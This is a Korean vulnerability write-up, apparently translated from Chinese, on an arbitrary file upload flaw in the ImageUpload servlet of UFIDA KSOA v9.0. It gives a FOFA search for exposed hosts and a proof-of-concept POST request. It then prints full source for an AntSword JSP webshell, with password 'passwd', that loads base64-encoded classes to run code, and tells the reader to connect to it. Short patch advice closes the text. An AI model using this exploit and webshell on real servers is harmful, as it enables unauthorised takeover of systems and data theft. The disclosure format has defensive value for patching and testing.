1. 제품 소개
UFIDA KSOA는 SOA 개념을 바탕으로 개발된 차세대 제품으로 유통업체의 최첨단 I Needs에 따라 출시된 통합 IT 인프라로 다양한 시대의 유통업체에서 구축한 IT 시스템과 통신할 수 있도록 합니다. 유통기업이 기존의 IT 투자를 보호하고, IT 관리를 단순화하고, 경쟁력을 강화하고, 기업의 전반적인 전략 목표와 혁신 활동을 실현할 수 있도록 지원합니다.
2. 취약점 개요
UFIDA KSOA 플랫폼의 ImageUpload에는 공격자가 서버 권한을 획득할 수 있는 임의 파일 업로드 취약점이 존재한다.
3. 영향 범위
UFIDA 기업 정보 통합 플랫폼 KSOA v9.0
4. 환경 재현
FOFA:app="Yonyou-Time and Space KSOA"
5. 취약점 재발
Burp는 홈 페이지 패키지를 가져와 복제를 위해 반복기 모듈로 보냅니다.
POC
POST /servlet/com.sksoft.bill.ImageUpload?filename=[上传的文件名]&filepath=/ HTTP/1.1
Host: your-ip
[文件内容]
성공적으로 재현됨
6. 착취
이 페이지는 자바로 작성되었습니다. Ant Sword jsp 한 문장 트로이 목마를 직접 업로드해 보세요. 비밀번호: passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
파싱 가능한지 확인
문제 없습니다. Ant Sword를 열고 연결을 시도하세요(테스트 후 백도어를 삭제하는 것을 잊지 마세요).
7. 수리 제안
안전한 버전 또는 패치로 업그레이드
인터넷 노출 감소, 업로드 파일 유형 제한, 업로드 블랙리스트 및 화이트리스트 제약 증가 등